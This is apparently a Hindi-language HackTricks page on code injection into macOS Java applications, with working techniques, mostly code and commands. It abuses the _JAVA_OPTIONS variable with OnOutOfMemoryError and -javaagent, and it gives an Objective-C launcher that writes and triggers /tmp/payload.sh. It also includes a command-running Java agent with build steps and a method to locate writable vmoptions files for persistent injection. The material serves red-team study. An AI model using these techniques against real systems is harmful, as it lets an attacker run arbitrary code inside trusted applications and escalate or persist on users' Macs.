macOS Java Applications Injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!

• आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें

• हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो करें।

• हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके HackTricks और HackTricks Cloud github repos में।

जाँच

अपने सिस्टम में इंस्टॉल किए गए जावा एप्लिकेशन्स खोजें। यह पाया गया कि Info.plist में जावा ऐप्स में कुछ जावा पैरामीटर होते हैं जिनमें java. स्ट्रिंग होती है, इसलिए आप उसे खोज सकते हैं:

# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null

_JAVA_OPTIONS

एनवायरनमेंट वेरिएबल _JAVA_OPTIONS का उपयोग एक जावा संकलित ऍप्लिकेशन के निष्पादन में विभिन्न जावा पैरामीटर डालने के लिए किया जा सकता है:

# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

इसे एक नए प्रक्रिया के रूप में निष्पादित करने के लिए आप इस्तेमाल कर सकते हैं:

#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";

NSError *error = nil;

// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];

if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}

NSLog(@"File written successfully to %@", filePath);

// Create a new task
NSTask *task = [[NSTask alloc] init];

/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];

// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];

// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};

// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];

// Set the task's environment
[task setEnvironment:environment];

// Launch the task
[task launch];
}
return 0;
}

हालांकि, इससे एप्लिकेशन पर त्रुटि उत्पन्न होगी, एक और अधिक छिपकली तरीका यह है कि एक जावा एजेंट बनाएं और उपयोग करें:

export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

एप्लिकेशन से भिन्न जावा संस्करण के साथ एजेंट बनाने से दोनों एजेंट और एप्लिकेशन का कार्यक्रम विफल हो सकता है।

जहां एजेंट हो सकता है:

Agent.java

import java.io.*;
import java.lang.instrument.*;

public class Agent {
public static void premain(String args, Instrumentation inst) {
try {
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
Runtime.getRuntime().exec(commands);
}
catch (Exception err) {
err.printStackTrace();
}
}
}

एजेंट को कंपाइल करने के लिए निम्नलिखित को चलाएं:

javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar

manifest.txt के साथ:

Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

और फिर env वेरिएबल को निर्यात करें और निम्नलिखित तरह से जावा एप्लिकेशन चलाएं:

export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"

# Or

open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"

vmoptions फ़ाइल

यह फ़ाइल Java params की विशेषिता को समर्थन करती है जब Java को क्रियान्वित किया जाता है। आप कुछ पिछले तरीकों का उपयोग करके जावा पैरामीटर बदल सकते हैं और प्रक्रिया को विचारशील आदेशों को निष्पादित करने के लिए। इसके अतिरिक्त, इस फ़ाइल में include निर्देशिका के साथ अन्य भी शामिल किया जा सकता है, इसलिए आप एक सम्मिलित फ़ाइल को भी बदल सकते हैं।

और भी, कुछ जावा ऐप्स एक से अधिक vmoptions फ़ाइल लोड करेंगे।

कुछ एप्लिकेशन जैसे Android Studio इन फ़ाइलों के लिए उन्हें दिखाते हैं कि वे कहाँ देख रहे हैं, जैसे:

/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions

2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions

अगर वे नहीं करते हैं तो आप इसे आसानी से जांच सकते हैं:

# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal

# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio

ध्यान दें कि इस उदाहरण में Android स्टूडियो को फ़ाइल /Applications/Android Studio.app.vmoptions लोड करने की कोशिश कर रहा है, जहां admin समूह से किसी भी उपयोगकर्ता के पास लेखन अधिकार है।